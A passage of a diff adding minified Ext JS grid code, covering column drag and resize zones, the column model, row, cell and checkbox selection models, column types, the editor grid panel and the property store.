c, i, b = g.top + this.proxyOffsets[1]; + if ((g.right - a) <= (g.right - g.left) / 2) { + c = g.right + this.view.borderWidth; + i = "after" + } else { + c = g.left; + i = "before" + } + if (this.grid.colModel.isFixed(this.view.getCellIndex(k))) { + return false + } + c += this.proxyOffsets[0]; + this.proxyTop.setLeftTop(c, b); + this.proxyTop.show(); + if (!this.bottomOffset) { + this.bottomOffset = this.view.mainHd.getHeight() + } + this.proxyBottom.setLeftTop(c, b + this.proxyTop.dom.offsetHeight + this.bottomOffset); + this.proxyBottom.show(); + return i +}, onNodeEnter:function (d, a, c, b) { + if (b.header != d) { + this.positionIndicator(b.header, d, c) + } +}, onNodeOver:function (g, b, d, c) { + var a = false; + if (c.header != g) { + a = this.positionIndicator(c.header, g, d) + } + if (!a) { + this.proxyTop.hide(); + this.proxyBottom.hide() + } + return a ? this.dropAllowed : this.dropNotAllowed +}, onNodeOut:function (d, a, c, b) { + this.proxyTop.hide(); + this.proxyBottom.hide() +}, onNodeDrop:function (b, m, g, c) { + var d = c.header; + if (d != b) { + var k = this.grid.colModel, j = Ext.lib.Event.getPageX(g), a = Ext.lib.Dom.getRegion(b.firstChild), o = (a.right - j) <= ((a.right - a.left) / 2) ? "after" : "before", i = this.view.getCellIndex(d), l = this.view.getCellIndex(b); + if (o == "after") { + l++ + } + if (i < l) { + l-- + } + k.moveColumn(i, l); + return true + } + return false +}}); +Ext.grid.GridView.ColumnDragZone = Ext.extend(Ext.grid.HeaderDragZone, {constructor:function (a, b) { + Ext.grid.GridView.ColumnDragZone.superclass.constructor.call(this, a, b, null); + this.proxy.el.addClass("x-grid3-col-dd") +}, handleMouseDown:function (a) { +}, callHandleMouseDown:function (a) { + Ext.grid.GridView.ColumnDragZone.superclass.handleMouseDown.call(this, a) +}}); +Ext.grid.SplitDragZone = Ext.extend(Ext.dd.DDProxy, {fly:Ext.Element.fly, constructor:function (a, c, b) { + this.grid = a; + this.view = a.getView(); + this.proxy = this.view.resizeProxy; + Ext.grid.SplitDragZone.superclass.constructor.call(this, c, "gridSplitters" + this.grid.getGridEl().id, {dragElId:Ext.id(this.proxy.dom), resizeFrame:false}); + this.setHandleElId(Ext.id(c)); + this.setOuterHandleElId(Ext.id(b)); + this.scroll = false +}, b4StartDrag:function (a, d) { + this.view.headersDisabled = true; + this.proxy.setHeight(this.view.mainWrap.getHeight()); + var b = this.cm.getColumnWidth(this.cellIndex); + var c = Math.max(b - this.grid.minColumnWidth, 0); + this.resetConstraints(); + this.setXConstraint(c, 1000); + this.setYConstraint(0, 0); + this.minX = a - c; + this.maxX = a + 1000; + this.startPos = a; + Ext.dd.DDProxy.prototype.b4StartDrag.call(this, a, d) +}, handleMouseDown:function (c) { + var b = Ext.EventObject.setEvent(c); + var a = this.fly(b.getTarget()); + if (a.hasClass("x-grid-split")) { + this.cellIndex = this.view.getCellIndex(a.dom); + this.split = a.dom; + this.cm = this.grid.colModel; + if (this.cm.isResizable(this.cellIndex) && !this.cm.isFixed(this.cellIndex)) { + Ext.grid.SplitDragZone.superclass.handleMouseDown.apply(this, arguments) + } + } +}, endDrag:function (c) { + this.view.headersDisabled = false; + var a = Math.max(this.minX, Ext.lib.Event.getPageX(c)); + var b = a - this.startPos; + this.view.onColumnSplitterMoved(this.cellIndex, this.cm.getColumnWidth(this.cellIndex) + b) +}, autoOffset:function () { + this.setDelta(0, 0) +}}); +Ext.grid.GridDragZone = function (b, a) { + this.view = b.getView(); + Ext.grid.GridDragZone.superclass.constructor.call(this, this.view.mainBody.dom, a); + this.scroll = false; + this.grid = b; + this.ddel = document.createElement("div"); + this.ddel.className = "x-grid-dd-wrap" +}; +Ext.extend(Ext.grid.GridDragZone, Ext.dd.DragZone, {ddGroup:"GridDD", getDragData:function (b) { + var a = Ext.lib.Event.getTarget(b); + var d = this.view.findRowIndex(a); + if (d !== false) { + var c = this.grid.selModel; + if (!c.isSelected(d) || b.hasModifier()) { + c.handleMouseDown(this.grid, d, b) + } + return{grid:this.grid, ddel:this.ddel, rowIndex:d, selections:c.getSelections()} + } + return false +}, onInitDrag:function (b) { + var a = this.dragData; + this.ddel.innerHTML = this.grid.getDragDropText(); + this.proxy.update(this.ddel) +}, afterRepair:function () { + this.dragging = false +}, getRepairXY:function (b, a) { + return false +}, onEndDrag:function (a, b) { +}, onValidDrop:function (a, b, c) { + this.hideProxy() +}, beforeInvalidDrop:function (a, b) { +}}); +Ext.grid.ColumnModel = Ext.extend(Ext.util.Observable, {defaultWidth:100, defaultSortable:false, constructor:function (a) { + if (a.columns) { + Ext.apply(this, a); + this.setConfig(a.columns, true) + } else { + this.setConfig(a, true) + } + this.addEvents("widthchange", "headerchange", "hiddenchange", "columnmoved", "configchange"); + Ext.grid.ColumnModel.superclass.constructor.call(this) +}, getColumnId:function (a) { + return this.config[a].id +}, getColumnAt:function (a) { + return this.config[a] +}, setConfig:function (d, b) { + var e, h, a; + if (!b) { + delete this.totalWidth; + for (e = 0, a = this.config.length; e < a; e++) { + h = this.config[e]; + if (h.setEditor) { + h.setEditor(null) + } + } + } + this.defaults = Ext.apply({width:this.defaultWidth, sortable:this.defaultSortable}, this.defaults); + this.config = d; + this.lookup = {}; + for (e = 0, a = d.length; e < a; e++) { + h = Ext.applyIf(d[e], this.defaults); + if (Ext.isEmpty(h.id)) { + h.id = e + } + if (!h.isColumn) { + var g = Ext.grid.Column.types[h.xtype || "gridcolumn"]; + h = new g(h); + d[e] = h + } + this.lookup[h.id] = h + } + if (!b) { + this.fireEvent("configchange", this) + } +}, getColumnById:function (a) { + return this.lookup[a] +}, getIndexById:function (c) { + for (var b = 0, a = this.config.length; b < a; b++) { + if (this.config[b].id == c) { + return b + } + } + return -1 +}, moveColumn:function (e, b) { + var a = this.config, d = a[e]; + a.splice(e, 1); + a.splice(b, 0, d); + this.dataMap = null; + this.fireEvent("columnmoved", this, e, b) +}, getColumnCount:function (b) { + var d = this.config.length, e = 0, a; + if (b === true) { + for (a = 0; a < d; a++) { + if (!this.isHidden(a)) { + e++ + } + } + return e + } + return d +}, getColumnsBy:function (g, e) { + var b = this.config, h = b.length, a = [], d, j; + for (d = 0; d < h; d++) { + j = b[d]; + if (g.call(e || this, j, d) === true) { + a[a.length] = j + } + } + return a +}, isSortable:function (a) { + return !!this.config[a].sortable +}, isMenuDisabled:function (a) { + return !!this.config[a].menuDisabled +}, getRenderer:function (a) { + return this.config[a].renderer || Ext.grid.ColumnModel.defaultRenderer +}, getRendererScope:function (a) { + return this.config[a].scope +}, setRenderer:function (a, b) { + this.config[a].renderer = b +}, getColumnWidth:function (a) { + var b = this.config[a].width; + if (typeof b != "number") { + b = this.defaultWidth + } + return b +}, setColumnWidth:function (b, c, a) { + this.config[b].width = c; + this.totalWidth = null; + if (!a) { + this.fireEvent("widthchange", this, b, c) + } +}, getTotalWidth:function (b) { + if (!this.totalWidth) { + this.totalWidth = 0; + for (var c = 0, a = this.config.length; c < a; c++) { + if (b || !this.isHidden(c)) { + this.totalWidth += this.getColumnWidth(c) + } + } + } + return this.totalWidth +}, getColumnHeader:function (a) { + return this.config[a].header +}, setColumnHeader:function (a, b) { + this.config[a].header = b; + this.fireEvent("headerchange", this, a, b) +}, getColumnTooltip:function (a) { + return this.config[a].tooltip +}, setColumnTooltip:function (a, b) { + this.config[a].tooltip = b +}, getDataIndex:function (a) { + return this.config[a].dataIndex +}, setDataIndex:function (a, b) { + this.config[a].dataIndex = b +}, findColumnIndex:function (d) { + var e = this.config; + for (var b = 0, a = e.length; b < a; b++) { + if (e[b].dataIndex == d) { + return b + } + } + return -1 +}, isCellEditable:function (b, e) { + var d = this.config[b], a = d.editable; + return !!(a || (!Ext.isDefined(a) && d.editor)) +}, getCellEditor:function (a, b) { + return this.config[a].getCellEditor(b) +}, setEditable:function (a, b) { + this.config[a].editable = b +}, isHidden:function (a) { + return !!this.config[a].hidden +}, isFixed:function (a) { + return !!this.config[a].fixed +}, isResizable:function (a) { + return a >= 0 && this.config[a].resizable !== false && this.config[a].fixed !== true +}, setHidden:function (a, b) { + var d = this.config[a]; + if (d.hidden !== b) { + d.hidden = b; + this.totalWidth = null; + this.fireEvent("hiddenchange", this, a, b) + } +}, setEditor:function (a, b) { + this.config[a].setEditor(b) +}, destroy:function () { + var b = this.config.length, a = 0; + for (; a < b; a++) { + this.config[a].destroy() + } + delete this.config; + delete this.lookup; + this.purgeListeners() +}, setState:function (a, b) { + b = Ext.applyIf(b, this.defaults); + Ext.apply(this.config[a], b) +}}); +Ext.grid.ColumnModel.defaultRenderer = function (a) { + if (typeof a == "string" && a.length < 1) { + return" " + } + return a +}; +Ext.grid.AbstractSelectionModel = Ext.extend(Ext.util.Observable, {constructor:function () { + this.locked = false; + Ext.grid.AbstractSelectionModel.superclass.constructor.call(this) +}, init:function (a) { + this.grid = a; + if (this.lockOnInit) { + delete this.lockOnInit; + this.locked = false; + this.lock() + } + this.initEvents() +}, lock:function () { + if (!this.locked) { + this.locked = true; + var a = this.grid; + if (a) { + a.getView().on({scope:this, beforerefresh:this.sortUnLock, refresh:this.sortLock}) + } else { + this.lockOnInit = true + } + } +}, sortLock:function () { + this.locked = true +}, sortUnLock:function () { + this.locked = false +}, unlock:function () { + if (this.locked) { + this.locked = false; + var a = this.grid, b; + if (a) { + b = a.getView(); + b.un("beforerefresh", this.sortUnLock, this); + b.un("refresh", this.sortLock, this) + } else { + delete this.lockOnInit + } + } +}, isLocked:function () { + return this.locked +}, destroy:function () { + this.unlock(); + this.purgeListeners() +}}); +Ext.grid.RowSelectionModel = Ext.extend(Ext.grid.AbstractSelectionModel, {singleSelect:false, constructor:function (a) { + Ext.apply(this, a); + this.selections = new Ext.util.MixedCollection(false, function (b) { + return b.id + }); + this.last = false; + this.lastActive = false; + this.addEvents("selectionchange", "beforerowselect", "rowselect", "rowdeselect"); + Ext.grid.RowSelectionModel.superclass.constructor.call(this) +}, initEvents:function () { + if (!this.grid.enableDragDrop && !this.grid.enableDrag) { + this.grid.on("rowmousedown", this.handleMouseDown, this) + } + this.rowNav = new Ext.KeyNav(this.grid.getGridEl(), {up:this.onKeyPress, down:this.onKeyPress, scope:this}); + this.grid.getView().on({scope:this, refresh:this.onRefresh, rowupdated:this.onRowUpdated, rowremoved:this.onRemove}) +}, onKeyPress:function (g, b) { + var a = b == "up", h = a ? "selectPrevious" : "selectNext", d = a ? -1 : 1, c; + if (!g.shiftKey || this.singleSelect) { + this[h](false) + } else { + if (this.last !== false && this.lastActive !== false) { + c = this.last; + this.selectRange(this.last, this.lastActive + d); + this.grid.getView().focusRow(this.lastActive); + if (c !== false) { + this.last = c + } + } else { + this.selectFirstRow() + } + } +}, onRefresh:function () { + var g = this.grid.store, d = this.getSelections(), c = 0, a = d.length, b, e; + this.silent = true; + this.clearSelections(true); + for (; c < a; c++) { + e = d[c]; + if ((b = g.indexOfId(e.id)) != -1) { + this.selectRow(b, true) + } + } + if (d.length != this.selections.getCount()) { + this.fireEvent("selectionchange", this) + } + this.silent = false +}, onRemove:function (a, b, c) { + if (this.selections.remove(c) !== false) { + this.fireEvent("selectionchange", this) + } +}, onRowUpdated:function (a, b, c) { + if (this.isSelected(c)) { + a.onRowSelect(b) + } +}, selectRecords:function (b, e) { + if (!e) { + this.clearSelections() + } + var d = this.grid.store, c = 0, a = b.length; + for (; c < a; c++) { + this.selectRow(d.indexOf(b[c]), true) + } +}, getCount:function () { + return this.selections.length +}, selectFirstRow:function () { + this.selectRow(0) +}, selectLastRow:function (a) { + this.selectRow(this.grid.store.getCount() - 1, a) +}, selectNext:function (a) { + if (this.hasNext()) { + this.selectRow(this.last + 1, a); + this.grid.getView().focusRow(this.last); + return true + } + return false +}, selectPrevious:function (a) { + if (this.hasPrevious()) { + this.selectRow(this.last - 1, a); + this.grid.getView().focusRow(this.last); + return true + } + return false +}, hasNext:function () { + return this.last !== false && (this.last + 1) < this.grid.store.getCount() +}, hasPrevious:function () { + return !!this.last +}, getSelections:function () { + return[].concat(this.selections.items) +}, getSelected:function () { + return this.selections.itemAt(0) +}, each:function (e, d) { + var c = this.getSelections(), b = 0, a = c.length; + for (; b < a; b++) { + if (e.call(d || this, c[b], b) === false) { + return false + } + } + return true +}, clearSelections:function (a) { + if (this.isLocked()) { + return + } + if (a !== true) { + var c = this.grid.store, b = this.selections; + b.each(function (d) { + this.deselectRow(c.indexOfId(d.id)) + }, this); + b.clear() + } else { + this.selections.clear() + } + this.last = false +}, selectAll:function () { + if (this.isLocked()) { + return + } + this.selections.clear(); + for (var b = 0, a = this.grid.store.getCount(); b < a; b++) { + this.selectRow(b, true) + } +}, hasSelection:function () { + return this.selections.length > 0 +}, isSelected:function (a) { + var b = Ext.isNumber(a) ? this.grid.store.getAt(a) : a; + return(b && this.selections.key(b.id) ? true : false) +}, isIdSelected:function (a) { + return(this.selections.key(a) ? true : false) +}, handleMouseDown:function (d, i, h) { + if (h.button !== 0 || this.isLocked()) { + return + } + var a = this.grid.getView(); + if (h.shiftKey && !this.singleSelect && this.last !== false) { + var c = this.last; + this.selectRange(c, i, h.ctrlKey); + this.last = c; + a.focusRow(i) + } else { + var b = this.isSelected(i); + if (h.ctrlKey && b) { + this.deselectRow(i) + } else { + if (!b || this.getCount() > 1) { + this.selectRow(i, h.ctrlKey || h.shiftKey); + a.focusRow(i) + } + } + } +}, selectRows:function (c, d) { + if (!d) { + this.clearSelections() + } + for (var b = 0, a = c.length; b < a; b++) { + this.selectRow(c[b], true) + } +}, selectRange:function (b, a, d) { + var c; + if (this.isLocked()) { + return + } + if (!d) { + this.clearSelections() + } + if (b <= a) { + for (c = b; c <= a; c++) { + this.selectRow(c, true) + } + } else { + for (c = b; c >= a; c--) { + this.selectRow(c, true) + } + } +}, deselectRange:function (c, b, a) { + if (this.isLocked()) { + return + } + for (var d = c; d <= b; d++) { + this.deselectRow(d, a) + } +}, selectRow:function (b, d, a) { + if (this.isLocked() || (b < 0 || b >= this.grid.store.getCount()) || (d && this.isSelected(b))) { + return + } + var c = this.grid.store.getAt(b); + if (c && this.fireEvent("beforerowselect", this, b, d, c) !== false) { + if (!d || this.singleSelect) { + this.clearSelections() + } + this.selections.add(c); + this.last = this.lastActive = b; + if (!a) { + this.grid.getView().onRowSelect(b) + } + if (!this.silent) { + this.fireEvent("rowselect", this, b, c); + this.fireEvent("selectionchange", this) + } + } +}, deselectRow:function (b, a) { + if (this.isLocked()) { + return + } + if (this.last == b) { + this.last = false + } + if (this.lastActive == b) { + this.lastActive = false + } + var c = this.grid.store.getAt(b); + if (c) { + this.selections.remove(c); + if (!a) { + this.grid.getView().onRowDeselect(b) + } + this.fireEvent("rowdeselect", this, b, c); + this.fireEvent("selectionchange", this) + } +}, acceptsNav:function (c, b, a) { + return !a.isHidden(b) && a.isCellEditable(b, c) +}, onEditorKey:function (n, l) { + var d = l.getKey(), h, i = this.grid, p = i.lastEdit, j = i.activeEditor, b = l.shiftKey, o, p, a, m; + if (d == l.TAB) { + l.stopEvent(); + j.completeEdit(); + if (b) { + h = i.walkCells(j.row, j.col - 1, -1, this.acceptsNav, this) + } else { + h = i.walkCells(j.row, j.col + 1, 1, this.acceptsNav, this) + } + } else { + if (d == l.ENTER) { + if (this.moveEditorOnEnter !== false) { + if (b) { + h = i.walkCells(p.row - 1, p.col, -1, this.acceptsNav, this) + } else { + h = i.walkCells(p.row + 1, p.col, 1, this.acceptsNav, this) + } + } + } + } + if (h) { + a = h[0]; + m = h[1]; + this.onEditorSelect(a, p.row); + if (i.isEditor && i.editing) { + o = i.activeEditor; + if (o && o.field.triggerBlur) { + o.field.triggerBlur() + } + } + i.startEditing(a, m) + } +}, onEditorSelect:function (b, a) { + if (a != b) { + this.selectRow(b) + } +}, destroy:function () { + Ext.destroy(this.rowNav); + this.rowNav = null; + Ext.grid.RowSelectionModel.superclass.destroy.call(this) +}}); +Ext.grid.Column = Ext.extend(Ext.util.Observable, {isColumn:true, constructor:function (b) { + Ext.apply(this, b); + if (Ext.isString(this.renderer)) { + this.renderer = Ext.util.Format[this.renderer] + } else { + if (Ext.isObject(this.renderer)) { + this.scope = this.renderer.scope; + this.renderer = this.renderer.fn + } + } + if (!this.scope) { + this.scope = this + } + var a = this.editor; + delete this.editor; + this.setEditor(a); + this.addEvents("click", "contextmenu", "dblclick", "mousedown"); + Ext.grid.Column.superclass.constructor.call(this) +}, processEvent:function (b, d, c, g, a) { + return this.fireEvent(b, this, c, g, d) +}, destroy:function () { + if (this.setEditor) { + this.setEditor(null) + } + this.purgeListeners() +}, renderer:function (a) { + return a +}, getEditor:function (a) { + return this.editable !== false ? this.editor : null +}, setEditor:function (b) { + var a = this.editor; + if (a) { + if (a.gridEditor) { + a.gridEditor.destroy(); + delete a.gridEditor + } else { + a.destroy() + } + } + this.editor = null; + if (b) { + if (!b.isXType) { + b = Ext.create(b, "textfield") + } + this.editor = b + } +}, getCellEditor:function (b) { + var a = this.getEditor(b); + if (a) { + if (!a.startEdit) { + if (!a.gridEditor) { + a.gridEditor = new Ext.grid.GridEditor(a) + } + a = a.gridEditor + } + } + return a +}}); +Ext.grid.BooleanColumn = Ext.extend(Ext.grid.Column, {trueText:"true", falseText:"false", undefinedText:" ", constructor:function (a) { + Ext.grid.BooleanColumn.superclass.constructor.call(this, a); + var c = this.trueText, d = this.falseText, b = this.undefinedText; + this.renderer = function (e) { + if (e === undefined) { + return b + } + if (!e || e === "false") { + return d + } + return c + } +}}); +Ext.grid.NumberColumn = Ext.extend(Ext.grid.Column, {format:"0,000.00", constructor:function (a) { + Ext.grid.NumberColumn.superclass.constructor.call(this, a); + this.renderer = Ext.util.Format.numberRenderer(this.format) +}}); +Ext.grid.DateColumn = Ext.extend(Ext.grid.Column, {format:"m/d/Y", constructor:function (a) { + Ext.grid.DateColumn.superclass.constructor.call(this, a); + this.renderer = Ext.util.Format.dateRenderer(this.format) +}}); +Ext.grid.TemplateColumn = Ext.extend(Ext.grid.Column, {constructor:function (a) { + Ext.grid.TemplateColumn.superclass.constructor.call(this, a); + var b = (!Ext.isPrimitive(this.tpl) && this.tpl.compile) ? this.tpl : new Ext.XTemplate(this.tpl); + this.renderer = function (d, e, c) { + return b.apply(c.data) + }; + this.tpl = b +}}); +Ext.grid.ActionColumn = Ext.extend(Ext.grid.Column, {header:" ", actionIdRe:/x-action-col-(\d+)/, altText:"", constructor:function (b) { + var g = this, c = b.items || (g.items = [g]), a = c.length, d, e; + Ext.grid.ActionColumn.superclass.constructor.call(g, b); + g.renderer = function (h, i) { + h = Ext.isFunction(b.renderer) ? b.renderer.apply(this, arguments) || "" : ""; + i.css += " x-action-col-cell"; + for (d = 0; d < a; d++) { + e = c[d]; + h += '' + (e.altText || g.altText) + '" + } + return h + } +}, destroy:function () { + delete this.items; + delete this.renderer; + return Ext.grid.ActionColumn.superclass.destroy.apply(this, arguments) +}, processEvent:function (c, i, d, j, b) { + var a = i.getTarget().className.match(this.actionIdRe), h, g; + if (a && (h = this.items[parseInt(a[1], 10)])) { + if (c == "click") { + (g = h.handler || this.handler) && g.call(h.scope || this.scope || this, d, j, b, h, i) + } else { + if ((c == "mousedown") && (h.stopSelection !== false)) { + return false + } + } + } + return Ext.grid.ActionColumn.superclass.processEvent.apply(this, arguments) +}}); +Ext.grid.Column.types = {gridcolumn:Ext.grid.Column, booleancolumn:Ext.grid.BooleanColumn, numbercolumn:Ext.grid.NumberColumn, datecolumn:Ext.grid.DateColumn, templatecolumn:Ext.grid.TemplateColumn, actioncolumn:Ext.grid.ActionColumn}; +Ext.grid.RowNumberer = Ext.extend(Object, {header:"", width:23, sortable:false, constructor:function (a) { + Ext.apply(this, a); + if (this.rowspan) { + this.renderer = this.renderer.createDelegate(this) + } +}, fixed:true, hideable:false, menuDisabled:true, dataIndex:"", id:"numberer", rowspan:undefined, renderer:function (b, c, a, d) { + if (this.rowspan) { + c.cellAttr = 'rowspan="' + this.rowspan + '"' + } + return d + 1 +}}); +Ext.grid.CheckboxSelectionModel = Ext.extend(Ext.grid.RowSelectionModel, {header:'
     
    ', width:20, sortable:false, menuDisabled:true, fixed:true, hideable:false, dataIndex:"", id:"checker", isColumn:true, constructor:function () { + Ext.grid.CheckboxSelectionModel.superclass.constructor.apply(this, arguments); + if (this.checkOnly) { + this.handleMouseDown = Ext.emptyFn + } +}, initEvents:function () { + Ext.grid.CheckboxSelectionModel.superclass.initEvents.call(this); + this.grid.on("render", function () { + Ext.fly(this.grid.getView().innerHd).on("mousedown", this.onHdMouseDown, this) + }, this) +}, processEvent:function (b, d, c, g, a) { + if (b == "mousedown") { + this.onMouseDown(d, d.getTarget()); + return false + } else { + return Ext.grid.Column.prototype.processEvent.apply(this, arguments) + } +}, onMouseDown:function (c, b) { + if (c.button === 0 && b.className == "x-grid3-row-checker") { + c.stopEvent(); + var d = c.getTarget(".x-grid3-row"); + if (d) { + var a = d.rowIndex; + if (this.isSelected(a)) { + this.deselectRow(a) + } else { + this.selectRow(a, true); + this.grid.getView().focusRow(a) + } + } + } +}, onHdMouseDown:function (c, a) { + if (a.className == "x-grid3-hd-checker") { + c.stopEvent(); + var b = Ext.fly(a.parentNode); + var d = b.hasClass("x-grid3-hd-checker-on"); + if (d) { + b.removeClass("x-grid3-hd-checker-on"); + this.clearSelections() + } else { + b.addClass("x-grid3-hd-checker-on"); + this.selectAll() + } + } +}, renderer:function (b, c, a) { + return'
     
    ' +}, onEditorSelect:function (b, a) { + if (a != b && !this.checkOnly) { + this.selectRow(b) + } +}}); +Ext.grid.CellSelectionModel = Ext.extend(Ext.grid.AbstractSelectionModel, {constructor:function (a) { + Ext.apply(this, a); + this.selection = null; + this.addEvents("beforecellselect", "cellselect", "selectionchange"); + Ext.grid.CellSelectionModel.superclass.constructor.call(this) +}, initEvents:function () { + this.grid.on("cellmousedown", this.handleMouseDown, this); + this.grid.on(Ext.EventManager.getKeyEvent(), this.handleKeyDown, this); + this.grid.getView().on({scope:this, refresh:this.onViewChange, rowupdated:this.onRowUpdated, beforerowremoved:this.clearSelections, beforerowsinserted:this.clearSelections}); + if (this.grid.isEditor) { + this.grid.on("beforeedit", this.beforeEdit, this) + } +}, beforeEdit:function (a) { + this.select(a.row, a.column, false, true, a.record) +}, onRowUpdated:function (a, b, c) { + if (this.selection && this.selection.record == c) { + a.onCellSelect(b, this.selection.cell[1]) + } +}, onViewChange:function () { + this.clearSelections(true) +}, getSelectedCell:function () { + return this.selection ? this.selection.cell : null +}, clearSelections:function (b) { + var a = this.selection; + if (a) { + if (b !== true) { + this.grid.view.onCellDeselect(a.cell[0], a.cell[1]) + } + this.selection = null; + this.fireEvent("selectionchange", this, null) + } +}, hasSelection:function () { + return this.selection ? true : false +}, handleMouseDown:function (b, d, a, c) { + if (c.button !== 0 || this.isLocked()) { + return + } + this.select(d, a) +}, select:function (g, c, b, e, d) { + if (this.fireEvent("beforecellselect", this, g, c) !== false) { + this.clearSelections(); + d = d || this.grid.store.getAt(g); + this.selection = {record:d, cell:[g, c]}; + if (!b) { + var a = this.grid.getView(); + a.onCellSelect(g, c); + if (e !== true) { + a.focusCell(g, c) + } + } + this.fireEvent("cellselect", this, g, c); + this.fireEvent("selectionchange", this, this.selection) + } +}, isSelectable:function (c, b, a) { + return !a.isHidden(b) +}, onEditorKey:function (b, a) { + if (a.getKey() == a.TAB) { + this.handleKeyDown(a) + } +}, handleKeyDown:function (j) { + if (!j.isNavKeyPress()) { + return + } + var d = j.getKey(), i = this.grid, p = this.selection, b = this, m = function (g, c, e) { + return i.walkCells(g, c, e, i.isEditor && i.editing ? b.acceptsNav : b.isSelectable, b) + }, o, h, a, l, n; + switch (d) { + case j.ESC: + case j.PAGE_UP: + case j.PAGE_DOWN: + break; + default: + j.stopEvent(); + break + } + if (!p) { + o = m(0, 0, 1); + if (o) { + this.select(o[0], o[1]) + } + return + } + o = p.cell; + a = o[0]; + l = o[1]; + switch (d) { + case j.TAB: + if (j.shiftKey) { + h = m(a, l - 1, -1) + } else { + h = m(a, l + 1, 1) + } + break; + case j.DOWN: + h = m(a + 1, l, 1); + break; + case j.UP: + h = m(a - 1, l, -1); + break; + case j.RIGHT: + h = m(a, l + 1, 1); + break; + case j.LEFT: + h = m(a, l - 1, -1); + break; + case j.ENTER: + if (i.isEditor && !i.editing) { + i.startEditing(a, l); + return + } + break + } + if (h) { + a = h[0]; + l = h[1]; + this.select(a, l); + if (i.isEditor && i.editing) { + n = i.activeEditor; + if (n && n.field.triggerBlur) { + n.field.triggerBlur() + } + i.startEditing(a, l) + } + } +}, acceptsNav:function (c, b, a) { + return !a.isHidden(b) && a.isCellEditable(b, c) +}}); +Ext.grid.EditorGridPanel = Ext.extend(Ext.grid.GridPanel, {clicksToEdit:2, forceValidation:false, isEditor:true, detectEdit:false, autoEncode:false, trackMouseOver:false, initComponent:function () { + Ext.grid.EditorGridPanel.superclass.initComponent.call(this); + if (!this.selModel) { + this.selModel = new Ext.grid.CellSelectionModel() + } + this.activeEditor = null; + this.addEvents("beforeedit", "afteredit", "validateedit") +}, initEvents:function () { + Ext.grid.EditorGridPanel.superclass.initEvents.call(this); + this.getGridEl().on("mousewheel", this.stopEditing.createDelegate(this, [true]), this); + this.on("columnresize", this.stopEditing, this, [true]); + if (this.clicksToEdit == 1) { + this.on("cellclick", this.onCellDblClick, this) + } else { + var a = this.getView(); + if (this.clicksToEdit == "auto" && a.mainBody) { + a.mainBody.on("mousedown", this.onAutoEditClick, this) + } + this.on("celldblclick", this.onCellDblClick, this) + } +}, onResize:function () { + Ext.grid.EditorGridPanel.superclass.onResize.apply(this, arguments); + var a = this.activeEditor; + if (this.editing && a) { + a.realign(true) + } +}, onCellDblClick:function (b, c, a) { + this.startEditing(c, a) +}, onAutoEditClick:function (c, b) { + if (c.button !== 0) { + return + } + var g = this.view.findRowIndex(b), a = this.view.findCellIndex(b); + if (g !== false && a !== false) { + this.stopEditing(); + if (this.selModel.getSelectedCell) { + var d = this.selModel.getSelectedCell(); + if (d && d[0] === g && d[1] === a) { + this.startEditing(g, a) + } + } else { + if (this.selModel.isSelected(g)) { + this.startEditing(g, a) + } + } + } +}, onEditComplete:function (b, d, a) { + this.editing = false; + this.lastActiveEditor = this.activeEditor; + this.activeEditor = null; + var c = b.record, h = this.colModel.getDataIndex(b.col); + d = this.postEditValue(d, a, c, h); + if (this.forceValidation === true || String(d) !== String(a)) { + var g = {grid:this, record:c, field:h, originalValue:a, value:d, row:b.row, column:b.col, cancel:false}; + if (this.fireEvent("validateedit", g) !== false && !g.cancel && String(d) !== String(a)) { + c.set(h, g.value); + delete g.cancel; + this.fireEvent("afteredit", g) + } + } + this.view.focusCell(b.row, b.col) +}, startEditing:function (i, c) { + this.stopEditing(); + if (this.colModel.isCellEditable(c, i)) { + this.view.ensureVisible(i, c, true); + var d = this.store.getAt(i), h = this.colModel.getDataIndex(c), g = {grid:this, record:d, field:h, value:d.data[h], row:i, column:c, cancel:false}; + if (this.fireEvent("beforeedit", g) !== false && !g.cancel) { + this.editing = true; + var b = this.colModel.getCellEditor(c, i); + if (!b) { + return + } + if (!b.rendered) { + b.parentEl = this.view.getEditorParent(b); + b.on({scope:this, render:{fn:function (e) { + e.field.focus(false, true) + }, single:true, scope:this}, specialkey:function (k, j) { + this.getSelectionModel().onEditorKey(k, j) + }, complete:this.onEditComplete, canceledit:this.stopEditing.createDelegate(this, [true])}) + } + Ext.apply(b, {row:i, col:c, record:d}); + this.lastEdit = {row:i, col:c}; + this.activeEditor = b; + b.selectSameEditor = (this.activeEditor == this.lastActiveEditor); + var a = this.preEditValue(d, h); + b.startEdit(this.view.getCell(i, c).firstChild, Ext.isDefined(a) ? a : ""); + (function () { + delete b.selectSameEditor + }).defer(50) + } + } +}, preEditValue:function (a, c) { + var b = a.data[c]; + return this.autoEncode && Ext.isString(b) ? Ext.util.Format.htmlDecode(b) : b +}, postEditValue:function (c, a, b, d) { + return this.autoEncode && Ext.isString(c) ? Ext.util.Format.htmlEncode(c) : c +}, stopEditing:function (b) { + if (this.editing) { + var a = this.lastActiveEditor = this.activeEditor; + if (a) { + a[b === true ? "cancelEdit" : "completeEdit"](); + this.view.focusCell(a.row, a.col) + } + this.activeEditor = null + } + this.editing = false +}}); +Ext.reg("editorgrid", Ext.grid.EditorGridPanel); +Ext.grid.GridEditor = function (b, a) { + Ext.grid.GridEditor.superclass.constructor.call(this, b, a); + b.monitorTab = false +}; +Ext.extend(Ext.grid.GridEditor, Ext.Editor, {alignment:"tl-tl", autoSize:"width", hideEl:false, cls:"x-small-editor x-grid-editor", shim:false, shadow:false}); +Ext.grid.PropertyRecord = Ext.data.Record.create([ + {name:"name", type:"string"}, + "value" +]); +Ext.grid.PropertyStore = Ext.extend(Ext.util.Observable, {constructor:function (a, b) { + this.grid = a; + this.store = new Ext.data.Store({recordType:Ext.grid.PropertyRecord}); + this.store.on("update", this.onUpdate, this); + if (b) { + this.setSource(b) + } + Ext.grid.PropertyStore.superclass.constructor.call(this) +}, setSource:function (c) { + this.source = c; + this.store.removeAll(); + var b = []; + for (var a in c) { + if (this.isEditableValue(c[a])) { + b.push(new Ext.grid.PropertyRecord({name:a, value:c[a]}, a)) + } + } + this.store.loadRecords({records:b}, {}, true) +}, onUpdate:function (e, a, d) { + if (d == Ext.data.Record.EDIT) { + var b = a.data.value; + var c = a.modified.value; + if (this.grid.fireEvent("beforepropertychange", this.source, a.id, b, c) !== false) { + this.source[a.id] = b; + a.commit(); + this.grid.fireEvent("propertychange", this.source, a.id, b, c) + } else { + a.reject() + } + } +}, getProperty:function (a) { + return this.store.getAt(a) +}, isEditableValue:function (a) { + return Ext.isPrimitive(a) || Ext.isDate(a) +}, setValue:function (d, c, a) { + var b = this.getRec(d); + if (b) { + b.set("value", c); + this.source[d] = c + } else { + if 